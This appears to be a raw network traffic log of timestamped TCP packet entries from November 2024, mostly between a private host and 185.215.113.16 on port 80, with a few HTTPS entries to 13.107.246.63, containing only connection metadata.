Nov 23, 2024 18:22:20.500984907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.501029968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.501599073 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.501645088 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.501755953 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.501801014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.502336979 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.502382040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.502443075 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.502486944 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.503050089 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.503091097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.503160000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.503207922 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.503799915 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.503848076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.503906965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.503954887 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.504527092 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.504580975 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.504728079 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.504775047 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.505242109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.505286932 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.505354881 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.506001949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.506059885 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.506089926 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.506139040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.506731987 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.506783962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.506818056 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.506865978 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.507448912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.507492065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.507548094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.507596970 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.508296013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.508343935 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.508517027 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.508565903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.509191990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.509238958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.509352922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.509403944 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.509995937 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.510016918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.510073900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.510571003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.510617971 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.510752916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.510798931 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.511149883 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.511197090 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.511213064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.511260986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.511832952 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.511878014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.511934042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.511981010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.512552977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.512599945 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.512670994 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.512717009 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.513312101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.513359070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.513464928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.514121056 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.514172077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.514254093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.514333963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.514983892 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.515029907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.515197992 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.515243053 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.515531063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.515577078 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.515670061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.515717983 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.516247034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.516289949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.516350031 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.516395092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.517152071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.517198086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.517249107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.517296076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.517740011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.517821074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.517864943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.518443108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.518490076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.518559933 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.518619061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.519280910 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.519344091 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.519438028 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.519479036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.519875050 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.519916058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.519958019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.519996881 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.520596981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.520648956 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.520670891 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.520714998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.521334887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.521380901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.521467924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.521513939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.630987883 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:20.632438898 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:20.632491112 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:20.632936954 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:20.632956982 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:20.635026932 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.635087967 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.635103941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.635149002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.635196924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.635245085 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.635310888 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.635365963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.635936975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.635988951 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.636049032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.636096954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.636709929 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.636758089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.636768103 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.636812925 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.699012995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.699150085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.699234962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.699378967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.699441910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.699466944 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.699565887 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.700145960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.700211048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.700242043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.700289965 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.700819016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.700884104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.701090097 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.701150894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.701230049 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.701277018 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.701792002 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.701893091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.701956987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.702528000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.702589035 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.702636957 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.702701092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.703255892 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.703296900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.703325987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.703341961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.703982115 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.704041004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.704153061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.704200029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.704742908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.704818010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.704842091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.704886913 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.705527067 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.705539942 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.705602884 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.706176996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.706257105 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.706274986 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.706332922 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.706931114 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.706981897 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.707014084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.707055092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.707622051 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.707678080 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.707711935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.707756042 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.708367109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.708405018 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.708497047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.708545923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.709078074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.709129095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.709204912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.709407091 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.709822893 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.709881067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.709908009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.709955931 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.710551977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.710598946 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.710663080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.710706949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.711278915 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.711328030 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.711412907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.711467028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.712053061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.712095022 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.712152004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.712197065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.712819099 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.712862015 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.712908030 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.712953091 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.713485003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.713555098 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.713599920 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.714297056 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.714343071 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.714392900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.714437962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.714941978 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.714977980 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.715051889 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.715095043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.715670109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.715722084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.715789080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.715836048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.716417074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.716463089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.716511965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.716556072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.717149973 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.717200994 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.717269897 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.717313051 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.717914104 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.718019009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.718065977 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.718622923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.718681097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.718732119 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.718777895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.719346046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.719394922 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.719490051 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.719538927 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.720063925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.720118046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.720134974 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.720176935 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.720783949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.720830917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.720894098 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.720942020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.721554995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.721605062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.721635103 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.721683979 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.722261906 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.722318888 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.722356081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.722407103 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.722995996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.723063946 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.723093033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.723720074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.723769903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.723815918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.723859072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.724447966 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.724498987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.724558115 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.724598885 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.725219965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.725286961 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.725338936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.725908041 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.725955963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.726032019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.726079941 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.726648092 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.726696014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.726819038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.726876974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.727386951 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.727432966 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.727483034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.727526903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.728224993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.728276014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.728300095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.728343964 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.728853941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.728912115 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.728921890 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.728967905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.729724884 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.729826927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.729883909 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.730289936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.730336905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.730386019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.730429888 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.731038094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.731090069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.731133938 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.731178999 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.731746912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.731796026 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.731851101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.731893063 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.732479095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.732530117 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.732570887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.732615948 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.733227015 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.733294010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.733349085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.733402014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.733947992 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.734050035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.734103918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.734662056 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.734714985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.884757042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.884799004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.884848118 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.884952068 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.884994984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.885051966 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.885096073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.885710955 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.885843039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.885891914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.886420012 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.886466026 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.886499882 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.886533022 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.891937017 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:20.892363071 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:20.892389059 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:20.892843962 CET	49781	443	192.168.2.4	13.107.246.63
